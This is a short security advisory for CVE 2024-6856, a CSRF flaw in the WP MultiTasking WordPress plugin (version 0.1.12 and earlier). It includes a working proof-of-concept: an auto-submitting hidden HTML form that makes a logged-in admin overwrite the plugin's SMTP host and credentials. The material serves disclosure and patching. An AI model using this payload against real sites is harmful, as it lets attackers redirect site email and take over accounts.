WP MultiTasking <= 0.1.12 – SMTP Settings Update via CSRF | CVE 2024-6856

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

Make a logged in admin open the following HTML:

```
<form id="csrfForm" action="https://www.example.com/wp-admin/admin.php?page=wpmt_smtp" method="post">
<input type="hidden" name="wpmt_smtp_from" value="your@domain.com">
<input type="hidden" name="wpmt_smtp_fromname" value="Any Name">
<input type="hidden" name="wpmt_smtp_host" value="your.own.smtp.host">
<input type="hidden" name="wpmt_smtp_secure" value="tls">
<input type="hidden" name="wpmt_smtp_port" value="587">
<input type="hidden" name="wpmt_smtp_user" value="your.smtp.user.name">
<input type="hidden" name="wpmt_smtp_passwd" value="your.smtp.password">
<input type="hidden" name="save" value="Save changes">
<input type="hidden" name="action" value="save">        
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
```